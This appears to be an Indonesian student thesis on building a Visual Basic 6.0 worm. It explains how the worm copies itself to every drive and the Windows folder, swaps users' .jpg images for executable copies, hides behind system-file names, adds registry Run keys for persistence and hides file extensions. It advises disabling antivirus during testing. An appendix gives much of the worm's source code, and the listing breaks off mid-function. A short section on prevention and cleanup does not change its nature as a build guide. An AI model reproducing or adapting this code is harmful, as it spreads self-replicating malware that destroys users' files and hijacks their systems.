Virus jenis ini menginfeksi baik boot sector maupun file jenis lain. 4. Macro virus
Macro berisi perintah program otomatis. Saat ini, banyak aplikasi umum yang menggunakan macro. Jika seorang pengguna mengakses sebuah dokumen yang mengandung macro yang telah terinfeksi virus dan secara tidak sengaja mengeksekusinya, maka virus ini dapat menyalin dirinya ke dalam file startup dari aplikasi tersebut. Macro merupakan salah satu jenis virus yang paling umum saat
(31)
ini. Aplikasi seperti Microsoft Word dan Microsoft Excel tergolong sangat rentan terhadap virus jenis ini.
5. Email Worm
Sebagian besar penyebab penyebaran virus saat ini adalah attacment email yang telah terinfeksi. Kemudahan pengguna untuk mendownload attachment email tersebut dan mengeksekusinya. Hal ini dikarenakan sering kali isi email yang bersangkutan bersifat mengundang. Selain melalui email, Worm juga dapat menyebar melalui newsgroup posting.
2.5.2 Faktor-Faktor Yang Mempengaruhi Penyebaran Virus Komputer
Pada saat ini, terdapat enam faktor teknologi berpengaruh pada keragaman dan tingkat kompleksitas dari virus komputer.
1. Penggunaan Teknologi Komunikasi Broadband
Penggunaan teknologi komunikasi broadband di rumah-rumah, seperti cable
modem dan Digital Subscriber Line (DSL). Pada masa yang akan datang akan
menjadikan hubungan yang bersifat konstan dan statis antara pengguna dan jaringan internet. Hal ini dapat memudahkan para hacker atau Worm untuk menentukan target dan menyerang komputer para pengguna yang terhubung dengan jaringan internet.
2. Proses disassembly yang semakin sulit
Mayoritas virus komputer di masa lampau ditulis dengan menggunakan bahasa
asembly yang merupakan bahasa pemrograman tingkat rendah dan cukup sulit
untuk digunakan. Namun pada saat ini, mayoritas berbagai jenis virus komputer seperti Worm diciptakan dengan menggunakan bahasa pemrograman tingkat tinggi dan tool-tool yang lebih maju. Hal ini menyebabkan virus-virus tersebut
(32)
menjadi lebih sulit untuk dianalisa dan menyebabkan bertambahnya waktu yang diperlukan para peniliti virus untuk melakukan proses disassembly (pengubahan kembali kode mesin menjadi kode assembly) dan analisa.
3. Homogenitas Infrastruktur Sistem Komputer
Kesamaan (homogenitas) dalam hal penggunaan hardware, sistem operasi serta aplikasi perangkat lunak dapat menjadi salah satu penyebab utama epidemi dari virus komputer seperti Worm dan Trojan Horses. Pada saat ini, lebih dari 90% komputer di dunia bekerja dengan sistem operasi Microsoft Windows disertai dengan perangkat keras (hardware). Sehingga pada dasarnya dapat dikatakan bahwa hampir seluruh PC di dunia memiliki kemiripan, baik dalam hal perangkat lunak maupun keras.
4. Kemudahan Pemrograman
Kemudahan pemrograman dalam sistem operasi Windows telah membuat proses pembuatan virus komputer menjadi suatu hal yang cukup mudah.
5. Konektivitas Yang Lengkap
Jaringan komputer dewasa ini lebih terhubung satu sama lain dibandingkan waktu-waktu sebelumnya. Peningkatan jumlah hubungan dalam sistem komunikasi memungkinkan Worm untuk dapat menyebar dengan sangat cepat dan bahkan menyerang target dengan jumlah yang sangat besar.
6. Migrasi Teknologi Ke Perumahan
Migrasi teknologi PC dari perusahaan ke rumah-rumah dan pengadopsian bentuk jaringan perumahan (home networking) memudahkan proses pengembangan virus komputer.
(33)
BAB 3
PERANCANGAN SISTEM
3.1 Gambaran Umum Virus Worm
Dalam bab ini, penulis membahas mengenai seluruh tahapan perancangan virus Worm. Tahapan perancangan ini merupakan tahap awal dalam membangun sebuah virus Worm, seperti perencanaan sistem, struktur perancangan sistem dan tahap perancangan sistem.
Dalam perancangan Worm ini, penulis memakai bahasa pemrograman Visual Basic 6.0. Alasan penulis memilih bahasa pemrograman Visual Basic versi 6.0 ini karena merupakan program yang berbasis Windows yang mempunyai kemampuan untuk berinteraksi dengan seluruh aplikasi Windows dan merupakan bahasa pemrograman yang mendukung file scripting object.
3.2 Tahap Perancangan
Tahap perancangan sistem virus Worm ini memerlukan perencanaan yang baik, percobaan yang berulang-ulang dan perbaikan pada sistem. Sebelum sampai pada pembahasan tahap perancangan sistem, terlebih dahulu akan dibahas mengenai perencanaan sistem.
(34)
3.2.1 Flowchart
Flowchart adalah diagram alur yang berisi bagan-bagan yang menggambarkan langkah-langkah penyelesaian suatu masalah. Flowchart sangat membantu dalam menggambarkan isi dari sistem yang akan dibangun. Gambar 3.1 di bawah ini adalah flowchart virus Worm yang dibuat oleh penulis.
Gambar 3.1 Flowchart Rancangan Virus Worm
Start
User Input
Form Load
Pengaktifan Virus
File Penggandaan
& Pengaturan
Registry
End Y
(35)
3.2.2 Struktur Perancangan
Struktur perancangan merupakan bagian terpenting yang menggambarkan alur kerja dari sistem yang akan dibangun. Dengan struktur perancangan, penulis dapat menggambarkan alur kerja dari virus Worm sehingga lebih mudah untuk dipahami. Gambar 3.2 di bawah ini adalah struktur perancangan virus Worm yang dibuat oleh penulis.
Gambar 3.2 Struktur Diagram Virus Worm
Virus Worm
Form Load
Kode Pengganda
Kopi Ke Windows
Get Files
Infeksi 1 Infeksi 2 Kenal
Module
(36)
3.2.3 Pembuatan Form Load
Setelah program Visual Basic 6.0 berhasil diinstal, tahap selanjutnya adalah memulai merancang Worm dengan memanggil Visual Basic 6.0 yang akan digunakan sebagai bahasa pemrograman, di mana sesaat kemudian akan tampil jendela program Visual Basic 6.0 bersamaan dengan munculnya kotak dialog New Project. Gambar 3.3 di bawah ini adalah tampilan jendela program Visual Basic 6.0.
Gambar 3.3 Tampilan Awal Visual Basic 6.0
Pada kotak dialog New Project terdapat tiga pilihan tabulasi. Pilih tabulasi New dengan mengklik pilihan Standard.EXE kemudian klik tombol Open. Gambar 3.4 di bawah ini adalah tampilan jendela program Visual basic 6.0.
(37)
Tabel 3.1 Pilihan Tabulasi Kotak Dialog New Project
Tabulasi Keterangan
New Untuk membuat proyek baru dengan berbagai macam pilihan. Existing Pilihan untuk membuka daftar nama proyek yang pernah dibuat
sebelumnya.
Recent Pilihan untuk membuka daftar nama proyek yang telah dibuat dan terakhir kali dibuka.
Tabel 3.1 di atas menunjukkan pilihan-pilihan tabulasi yang terdapat pada kotak dialog New Project. Selanjutnya, penulis akan membuat sebuah Form Load yang menjadi fungsi kerja virus Worm saat pertama kali dijalankan. Sorot Properties, yaitu jendela yang digunakan untuk menampilkan dan mengubah properti-properti yang dimiliki sebuah objek. Kemudian atur BorderStyle menjadi 0-None. Tampilan dari pengaturan BorderStyle diperlihatkan pada Gambar 3.5 di bawah ini.
Gambar 3.5 Pengaturan BorderStyle
Kemudian buat satu buah objek ListBox pada Form Load Design yang berfungsi untuk membuat daftar pilihan. Tampilannya diperlihatkan pada Gambar 3.6 di bawah ini.
(38)
Setelah itu, tambahkan satu buah TextBox pada Form Load yang berfungsi untuk membuat objek teks pada program, di mana teks tersebut dapat diubah sesuai keperluan dan atur letaknya sehingga berada di bawah ListBox. Gambar 3.7 di bawah ini adalah tampilan penambahan objek TextBox.
Gambar 3.7 Penambahan Objek TextBox
Langkah selanjutnya tambahkan 4 (empat) buah Timer pada Form Load
Design dan atur letaknya sehingga berada di samping ListBox dan TextBox yang
telah dibuat. Timer disini berfungsi untuk membuat kontrol waktu dengan interval yang ditentukan. Gambar 3.8 di bawah ini adalah tampilan dari penambahan objek
Timer.
(39)
Tabel 3.2 di bawah ini menunjukkan beberapa objek properties yang dibutuhkan dalam Form Load Design.
Tabel 3.2 Objek Properties
Objek Jumlah Keterangan
ListBox 1 Membuat daftar pilihan
TextBox 1 Membuat objek teks pada program
Timer 4 Membuat kontrol waktu dengan interval yang ditentukan
3.2.4 Pembuatan Kode Program Pada Form Load
Setelah Form Load berhasil dibuat, selanjutnya adalah pengisian kode program ke dalam Form Load tersebut dengan tujuan agar Form Load dapat melakukan fungsinya. Gambar 3.9 di bawah ini adalah tampilan dari kode Form Load yang telah dimasukkan ke dalam Form Load Design.
(40)
3.2.5 Pembuatan Modul
Selain pembuatan Form Load, penulis juga menambahkan tujuh buah modul yang berguna sebagai tempat bantuan untuk pembuatan fungsi kerja virus Worm. Masing-masing modul memiliki keterkaitan antara satu sama lain dan berhubungan langsung dengan Form Load. Tampilannya diperlihatkan pada Gambar 3.10 di bawah ini.
Gambar 3.10 Modul 1
3.2.6 Penentuan Tampilan Infeksi Worm
Setelah ke tujuh buah modul dibuat, tahap selanjutnya adalah menentukan tampilan infeksi dari virus Worm. Pada tahap ini, penulis hanya akan membuat 4 (empat) buah tampilan infeksi karena mengingat keterbatasan pengetahuan yang dimiliki oleh penulis. Tabel 3.3 di bawah ini adalah beberapa tampilan infeksi Worm.
Tabel 3.3 Tampilan Infeksi Worm
Tampilan Keterangan
Jenis tampilan infeksi ini adalah jenis dokumen file dan berekstensi *.Doc pada program
Jenis tampilan infeksi ini adalah jenis folder dan berekstensi *.* pada program
Jenis tampilan infeksi ini adalah jenis gambar (walpaper) dan berekstensi *.jpg pada program
Jenis tampilan infeksi ini adalah jenis software (perangkat lunak) dalam bentuk win dan berekstensi *.rar pada program
(41)
BAB 4
IMPLEMENTASI SISTEM
4.1 Implementasi Sistem
Implementasi sistem merupakan prosedur yang dilakukan untuk menyelesaikan desain sistem yang ada dalam dokumen desain yang disetujui, menguji sistem, menginstal, dan memulai sistem baru yang telah diperbaiki. Pada tahap implementasi sistem ini, penulis hanya melakukan tahap pembuatan sistem, penyelesaian desain sistem, menguji sistem dan perbaikan sistem.
4.2 Komponen Utama Dalam Implementasi Sistem
Untuk melakukan tahap implementasi sistem dan pengolahan data, di sini penulis menggunakan komputer sebagai media utama dalam pengujian sistem, di mana komputer tersebut haruslah mempunyai 3 (tiga) komponen utama, yaitu:
1. Hardware
Hardware (perangkat keras) adalah komponen yang bekerja sama di dalam
melaksanakan pengolahan data yang terdiri dari: a. Monitor super VGA
b. CPU (Central Proccesing Unit)
c. Harddisk, sesuai dengan kapasitas yang dibutuhkan. d. Memori, sesuai dengan kapasitas yang dibutuhkan. e. Printer Canon Pixma iP-1880
(42)
2. Software
Software (perangkat lunak) merupakan sistem prosedur dalam bentuk yang dapat
digunakan komputer dan memberikan fungsi serta menampilkan yang diinginkan. Software yang diperlukan untuk menjelaskan hardware untuk aplikasi pembuatan virus adalah Microsoft Visual Basic 6.0.
3. Brainware
Brainware (manusia) merupakan faktor manusia yang menangani fasilitas
komputer dengan beberapa kriteria berikut :
a. Sistem Analis: orang yang membentuk dan membangun fasilitas rancangan sistem desain.
b. Programmer: orang yang mengerti bahasa pemrograman dalam membuat dan membangun program.
c. Operator Komputer: orang yang mengenal langsung dalam pengolahan program dan mulai mempersiapkan sampai dengan tampilan pengentrian data ke dalam komputer.
4.3 Tujuan Implementasi Sistem
Berikut adalah beberapa tujuan dari implementasi sistem: a. Membuat desain sistem selama penelitian.
b. Menyelesaikan desain sistem yang telah disetujui.
c. Memperhitungkan sistem yang telah dibuat sesuai kebutuhan.
d. Menguji dan mendokumentasikan prosedur dan program yang diperlukan oleh dokumen desain sistem yang telah dibuat
(43)
4.4 Tahap Implementasi Sistem
Dalam tahap implementasi sistem, penulis hanya akan membahas mengenai cara kerja virus Worm, hasil infeksi dan cara penanggulangannya.
4.4.1 Cara Kerja Virus Worm
Pada bab sebelumnya, penulis telah menjelaskan cara kerja virus Worm dengan menggunakan flowchart, seperti yang terlihat pada Gambar 3.1. Di sini penulis hanya akan membahas mulai dari fungsi-fungsi dalam Form Load hingga bagian-bagian yang diserang oleh Worm.
4.4.1.1 Fungsi-fungsi Dalam Form Load
Berikut ini adalah beberapa fungsi yang terdapat dalam Form Load.
a. Fungsi Kode Pengganda
Adalah fungsi penggandaan ke setiap folder. b. Fungsi Kopi ke Windows
Adalah fungsi kopi ke folder-folder Windows yang ada di C. c. Fungsi Get Files
Adalah fungsi yang bertujuan menyembunyikan gambar (picture) yang berekstensi jpg lalu diganti dengan Worm
d. Fungsi Infeksi 1
Adalah fungsi yang bertujuan untuk menyerang bagian regedit, di mana setiap setelah menginstal sesuatu, maka file yang di dalamnya akan dimanipulasi.
(44)
e. Fungsi Infeksi 2
Adalah fungsi penggandaan file yang tanpa diketahui (pengkopian file) ke Windows.
f. Fungsi Kenal
Adalah fungsi yang bertujuan menyerang file yang berekstensi exe, seperti
software.
4.4.1.2 Melakukan Penggandaan Ke Sistem
Proses penggandaan ke sistem berfungsi agar virus Worm tetap aktif pada saat komputer restart. Biasanya hasil penggandaan ke sistem mempunyai nama yang hampir sama dengan nama file system dan ada juga yang sama persis dengan nama file
system, hanya saja lokasi file tersebut berada dengan file aslinya atau pada lokasi yang
sama dan terjadi sedikit perbedaan sehingga file tersebut hampir tidak diketahui perbedaannya (contoh winlogon.exe, services.exe, system.exe, dan lain-lain).
Ketika virus dijalankan, virus tersebut akan mulai melakukan aktivitasnya dengan melakukan penggandaan ke sistem komputer. Hal ini dilakukan agar virus tetap berada pada sistem meskipun sarana media penyebarannya telah dilepas, virus tersebut akan tetap aktif dengan cara mengaktifkan virus yang terkopi di sistem yang benar-benar telah terinfeksi virus. Lokasi folder penggandaan virus pada sistem biasanya meliputi windows atau winnt, system32, startup, application data. Lokasi ini biasanya paling sering digunakan karena menurut orang awam file pada lokasi ini tidak boleh dihapus dan hampir semua file yang ada merupakan file penting dan dapat mengalami kerusakan, hal ini dimanfaatkan oleh virus untuk melindungi dirinya.
(45)
Selain lokasi folder, virus juga melakukan perubahan extention untuk menyamar agar sulit dicari. Extention file yang sering digunakan pada saat melakukan penggandaan pada sistem adalah exe, scr, com dan pif.extention. Semua Extention file tersebut memiliki cara akses yang sama. Meskipun terjadi perubahan extention, tetapi akan terlihat berjalan dengan normal. Agar penyamaran sukses, virus sering menggunakan penamaan yang hampir sama dengan file system atau bahkan memang sama, hanya saja lokasi file yang berbeda, dengan tujuan membuat bingung karena sulit membedakan antara file system yang asli dengan yang palsu (virus). Penamaan
file dengan winlogon.exe, services.exe, system.exe akan dilindungi oleh task manager
sehingga tidak dapat dimatikan prosesnya oleh task manager.
4.4.1.3 Melakukan Pengaturan Registry
Virus yang berjalan pada sistem operasi Windows tidak dapat lepas dari bantuan registry yang dapat membuat virus tersebut mampu memiliki daya tahan kuat sehingga sulit sekali untuk dimusnahkan. Registry dimanfaatkan virus sebagai suatu tameng atau benteng pertahanan yang dapat melindunginya dari berbagai serangan-serangan yang dapat membuat dirinya musnah dari komputer yang telah terinfeksi.
Misalkan, pembersihan virus berhasil dilakukan dengan mematikan virus menggunakan program task manager ataupun program sejenisnya tanpa melakukan pembersihan pada registry, di mana virus telah memasang suatu kunci pada registry yang akan digunakan, tidak sedikit virus yang hanya memerlukan suatu fungsi untuk membuat kunci dan menghapus suatu kunci registry.
(46)
4.4.1.4 Melakukan Pengaktifan Virus Pada Sistem
Jika virus telah melakukan penggandaan di sistem komputer, maka virus tersebut akan mengaktifkan hasil penggandaannya yang telah berada di sistem, sehingga meskipun
flashdisk atau media penyimpanan lain yang digunakan sebagai suatu sarana
penyebaran virus tersebut dilepas, maka virus akan tetap aktif. Untuk melakukan pengaktifan virus pada sistem komputer, virus tersebut hanya melakukan suatu perintah untuk menjalankan virus yang berbeda pada sistem komputer dengan perintah
hell atau ShellExecute.
4.4.2 Teknik Penyebaran
Ada banyak teknik penyebaran yang dilakukan oleh virus, berikut adalah beberapa teknik penyebaran yang biasa dilakukan oleh virus terhadap sistem.
a. Membaca Address Bar pada Windows Explorer
Teknik ini sangat baik selain proses penyebaran sangat cepat juga tidak memerlukan suatu teknik pencarian file. Hal itu dikarenakan user telah memberikan informasi lokasi file yang dianggap penting dengan cara membuka folder tersebut menggunakan Windows Explorer yang selanjutnya digunakan user untuk menjalankan file. Virus yang mendapatkan lokasi yang dimaksud langsung menggandakan diri ke dalamnya. Biasanya penamaan file dari hasil penggandaan virus diambil dari nama subfolder yang sedang terbuka.
b. Membaca Folder dan Sub Folder pada Drive Harddisk
(47)
partisi sistem saja dapat menghasilkan ribuan, apalagi user tersebut menggunakan
Multi Operation System dikomputernya, akan mengakibatkan kerusakan sistem lebih
parah lagi.
4.4.3 Rekayasa Teknik Penyebaran
Setelah virus tersebut melakukan penggandaan ke sistem, mengubah registry, barulah virus tersebut melakukan penyebaran dan perusakan. Serangan virus ini yang sangat ditakuti oleh para pengguna komputer.
4.4.4 Hasil Infeksi Virus Worm
Gambar 4.1 di bawah ini adalah tampilan Form Load Design setelah pembuatan
Form Load, memasukkan kode program ke dalam Form Load, pembuatan tujuh
buah modul dan memasukkan kode program pendukung ke dalam setiap modul.
Gambar 4.1 Tampilan Form Load Design
Tampak dari tampilan Form Load Design bahwa ada beberapa objek-objek
Properties yang digunakan untuk mendukung perancangannya, antara lain: 1 (satu)
buah ListBox, 1 (satu) buah TextBox dan 4 (empat) buah Timer, di mana masing-masing fungsi dan kegunaannya telah dijelaskan oleh penulis pada bab sebelumnya.
(48)
4.4.5 Tampilan Infeksi Virus Worm
Gambar 4.2 di bawah ini adalah salah satu contoh dari tampilan infeksi virus Worm yang telah penulis coba (uji program) sebelumnya untuk melihat hasil infeksi dari virus Worm dan membuktikan berhasil atau tidaknya virus Worm ini dapat bekerja pada Windows sebagaimana tujuan awal dari pembuatanvirus Worm ini.
Gambar 4.2 Salah Satu Tampilan Worm Setelah Dijalankan
Untuk membuktikan hal di atas yang pertama kali harus dilakukan adalah menonaktifkan Antivirus yang ada pada komputer agar virus yang dijalankan tidak langsung terdeteksi oleh Antivirus sehingga lebih mudah dalam menemukan hasil infeksi virus Worm yang dicari.
Salah satu tampilan dari infeksi virus Worm menggunakan fungsi Get Files pada sistem komputer D
(49)
Setelah itu pada jendela Project 1 Microsoft Visual Basic Design klik Tool Bar Run atau tekan F5 untuk menjalankan virus Worm, maka akan diperoleh hasil seperti pada Gambar 4.2 sebelumnya. Hasil atau tampilan infeksi virus tergantung pada icon yang digunakan sebagai hasil pada program.
Hasil atau tampilan dari infeksi virus ini dapat diganti sesuai keinginan, dengan cara mengubah kode program atau nama dari tampilan yang ada pada Form, yaitu mengganti objek Properties pada Form Load Design, di mana objek yang diganti adalah icon. Pilih gambar atau icon dengan cara mengklik objek icon pada
Properties kemudian akan munsul jendela Load Icon. Pada jendela tersebut browse
atau carilah gambar (icon) yang diinginkan. Setelah itu sorot File pada Tool Bar Windows kemudian pilih dan klik Make nama icon.exe seperti yang terlihat pada Gambar 4.3 di bawah ini.
.
(50)
4.5 Cara Penanggulangan
Untuk menanggulangi serangan virus, baik itu Worm atau jenis virus lainnya, berikut dibahas mengenai cara-cara menanggulanginya sebelum terinfeksi dan setelah terinfeksi. Akan tetapi perlu diketahui bahwa virus Worm ini masih memiliki kelemahan antara lain, yaitu masih mudah terdeteksi oleh Antivirus, khususnya Antivirus yang selalu diupdate rutin oleh user.
4.5.1 Sebelum Terinfeksi
Berikut adalah beberapa langkah-langkah yang dapat dilakukan untuk pencegahan sebelum komputer atau bagian-bagian dari komputer terinfeksi:
a. Gunakan Antivirus yang dipercaya dengan update terbaru. Apapun merk dari Antivirus yang dimiliki asalkan selalu diupdate secara rutin dan selalu menyalakan
Autoprotec.
b. Selalu memindai (scan) semua media penyimpanan eksternal yang akan digunakan, misalnya penggunaan flashdisk, flashdrive dan lain-lain. Hal ini memang agak merepotkan tetapi jika Autoprotec Antivirus yang digunakan ada dan bekerja maka langkah ke dua ini dapat dilewatkan.
c. Jika terhubung langsung ke Internet cobalah untuk mengkombinasikan Antivirus yang dimiliki dengan Firewall, Antispamming dan lain-lain.
(51)
4.5.2 Setelah Terinfeksi
Berikut adalah beberapa langkah yang dapat dilakukan pada saat komputer atau bagian-bagian dari komputer telah terinfeksi:
a. Deteksi dan tentukan dimana letak sumber virus tersebut dan ada baiknya melepas atau menonaktifkan jaringan yang terhubung dengan komputer terlebih dahulu. b. Identifikasi dan klasifikasikan jenis virus apa yang menyerang PC, dengan cara:
1. Gejala yang timbul, misal: pesan, file yang corrupt (rusak), file yang hilang. 2. Pindai (scan) dengan Antivirus. Saat Autoprotect ada dan berjalan tetapi virus
tetap berhasil masuk, itu artinya virus definition pada komputer tidak memiliki data virusnya. Hal yang dapat dilakukan selanjutnya adalah melakukan update secara manual atau mendownload virus definitionnya untuk diinstal. Jika virus tersebut memblok usaha untuk mengupdatenya, maka upayakan untuk menggunakan media lain, seperti komputer dengan Antivirus update terbaru. c. Jika Antivirus telah diupdate dan tidak berhasil memusnahkannya, maka
bersihkan, setelah berhasil mendeteksi dan mengenalinya, usahakan segera untuk mencari removal atau cara-cara untuk memusnahkannya di situs-situs yang memberikan informasi perkembangan virus.
d. Jika semua hal di atas tidak berhasil, cara terakhir adalah dengan memformat ulang komputer yang terkena infeksi virus tersebut.
(52)
BAB 5
KESIMPULAN DAN SARAN
5.1 Kesimpulan
Dalam penulisan Tugas Akhir ini, penulis telah menguraikan mengenai perancangan sistem pembuatan virus Worm. Sehingga, penulis dapat membuat kesimpulan:
1. Virus Worm dapat dibuat dengan menggunakan bahasa pemrograman Visual Basic. 2. Cara kerja virus Worm yang dibuat adalah melakukan fungsi-fungsi pada Form
Load, penggandaan ke sistem, mengubah pengaturan Registry dan merusak sistem pada Windows.
3. Virus Worm ini masih memiliki kelemahan, yaitu masih mudah terdeteksi oleh Antivirus, khususnya Antivirus yang selalu diupdate rutin oleh user.
5.2 Saran
Pada tahap ini, penulis mencoba memberikan saran yang kiranya dapat bermanfaat bagi pihak pembaca, yaitu:
1. Agar semua kalangan dapat lebih berhati-hati dalam menggunakan software ataupun hardware sebagai media penyimpanan.
2. Sebaiknya setiap pengguna komputer (user) dapat mengetahui cara kerja dari virus yang menyerang sistem komputernya, sehingga lebih mudah dalam penanganan dan penanggulangan dari infeksi virus.
(53)
DAFTAR PUSTAKA
Panduan Tata Cara Penulisan Skripsi dan Tugas Akhir. 2005. Dokumen Nomor:
Akad/05/2005. Medan: Fakultas Matematika dan Ilmu Pengetahuan Alam Universitas Sumatera Utara.
Hendrayudi. 2008. Visual Basic Untuk Berbagai Keperluan Pemrograman. Yogyakarta, Indonesia: Elex Media Komputindo.
Yuswanto. 2001. Panduan Belajar Microsoft Visual Basic 6.0 Untuk Pemrograman
Multiuser. Jakarta: Prestasi Pustaka.
Amperiyanto, Tri. 2010. Kitab Sakti Virus File. Jakarta: PT. Elex Media Komputindo. Cyber, Team. 2009. Membuat & Membasmi Virus Komputer. Jakarta: HP Cyber
Community.
http://www.ilmukomputer.com/
http://www.google.com/ Diakses bulan Januari-Februari 2010
(54)
Listing Program Virus Worm
Lampiran 1 Form Load
Option Explicit
Private Const FILE_ATTRIBUTE_READONLY = &H1 Private Const FILE_ATTRIBUTE_HIDDEN = &H2 Private Const FILE_ATTRIBUTE_SYSTEM = &H4 Private Const FILE_ATTRIBUTE_DIRECTORY = &H10 Private Const FILE_ATTRIBUTE_ARCHIVE = &H20 Private Const FILE_ATTRIBUTE_NORMAL = &H80 Private Const FILE_ATTRIBUTE_TEMPORARY = &H100 Private Const FILE_ATTRIBUTE_COMPRESSED = &H800 Private Const MAX_PATH = 260
Private Type FILETIME
dwLowDateTime As Long dwHighDateTime As Long End Type
Private Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long
nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long
cFileName As String * MAX_PATH cAlternate As String * 14 End Type
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _
(ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
(ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private pbMessage As Boolean
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
(55)
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpexitCode As Long) As Long
Private iResult As Long Private hProg As Long Private id As Long Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FF Dim induk As String
Dim lokasi As String Dim lokasi2 As String Dim lokasi3 As String Dim lokasi4 As String Dim lokasi5 As String Dim i As Integer Dim bool As Boolean
Private Function DriveType(Drive As String) As String Dim sAns As String, lAns As Long
If Len(Drive) = 1 Then Drive = Drive & ":\" If Len(Drive) = 2 And Right$(Drive, 1) = ":" _ Then Drive = Drive & "\"
lAns = GetDriveType(Drive) Select Case lAns
Case 2
sAns = "Removable Drive" Case 3
sAns = "Fixed Drive" Case 4
sAns = "Remote Drive" Case 5
sAns = "CD-ROM" Case 6
sAns = "RAM Disk" Case Else
sAns = "Drive Doesn't Exist" End Select
DriveType = sAns
End Function
Private Sub kodepengganda() Dim ictr As Integer Dim sDrive As String Dim x As Byte
ReDim sDrives(0) As String Dim penanda As Byte
For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) <> "Drive Doesn't Exist" Then On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Walpaper.exe"
End If
(56)
Next
End Sub
Private Sub kopikewindows() Dim buffer As String * 255 Dim x As Long
x = GetWindowsDirectory(buffer, 255) On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\Walpaper.exe"
SetAttr x, vbHidden + vbSystem End Sub
Private Sub Form_load() On Error Resume Next Dim pid As Long Dim regserv As Long
If App.PrevInstance = True Then End kenal infeksi1 infeksi2 kodepengganda kopikewindows
GetFiles "c:", True, "*.jpg"
GetWindowsVersion bool Timer1.Enabled = True
If bool = True Then App.Title = ""
If App.EXEName = "XxXLove" Or App.EXEName = "MakeLove" Or App.EXEName = "Fuckme" Then
Timer2.Enabled = True Timer3.Enabled = True Timer5.Enabled = True End If
Else
pid = GetCurrentProcessId()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE) End If
App.TaskVisible = False Form1.Hide
If App.EXEName = "XxXLove" Then Open GetSpecialfolder(&H25) & "\msvbvm60.dll" For Input As 1
End Sub
Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")
Screen.MousePointer = vbHourglass
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
(57)
fPath = AddBackslash(Path)
Dim sPattern As String sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And
FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then CopyFile "c:\windows\Walpaper.exe", fPath &
StripNulls(WFD.cFileName) & ".exe", 1 End If
If hFile > 0 Then
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "c:\windows\Walpaper.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
End If Wend
End If
If SubFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD) If (hFile > 0) And ((WFD.dwFileAttributes And
FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _ StripNulls(WFD.cFileName) <> "." And
StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern End If
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern End If Wend End If FindClose hFile
Screen.MousePointer = vbHidden
End Sub
Private Function StripNulls(f As String) As String
(58)
End Function
Private Function AddBackslash(S As String) As String
If Len(S) Then
If Right$(S, 1) <> "\" Then AddBackslash = S & "\" Else
AddBackslash = S End If
Else
AddBackslash = "\" End If
End Function
Private Sub Timer1_Timer() If Second(Now) Mod 5 = 0 Then Call GetFiles("c:", True, "*.jpg") Call Ricek
Call infeksi1 Call infeksi2 Call kodepengganda End If
If App.EXEName <> "MakeLove" Then Exit Sub If Minute(Now) = 30 And Second(Now) = 30 Then Text1 = Text1 & Now
End If End Sub
Private Sub infeksi1() Dim cek As String
cek = AmbilString(HKLM,
"Software\Microsoft\Windows\CurrentVersion\Run", "ssvchost") If cek = "" Then
BuatString HKLM, "Software\Microsoft\Windows\CurrentVersion\Run", "Print Epson", "C:\Documents and Setting\Temporary\Epson"
End If
cek = AmbilString(HKCU,
"Software\Microsoft\Windows\CurrentVersion\Run", "Walpaper") If cek = "" Then
BuatString HKCU, "Software\Microsoft\Windows\CurrentVersion\Run", "Walpaper", "C:\windows\Walpaper"
End If
cek = AmbilString(HKLM, "Software\lutil\FMR", "svchost") If cek = "" Then
BuatString HKLM, "Software\lutil\FMR", "Register", "svchost" End If
cek = AmbilString(HKCU,
"Software\Microsoft\Windows\CurrentVersion\Group Policy", "svchost") If cek = "" Then
BuatString HKCU, "Software\Microsoft\Windows\CurrentVersion\Group Policy", "AppMgmt", "svchost"
End If
cek = AmbilDword(HKCU,
"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "HideFileExt")
If cek = 0 Or cek = "" Then BuatDword HKCU,
"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "HideFileExt", 1
(59)
End If
cek = AmbilDword(HKCU,
"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden")
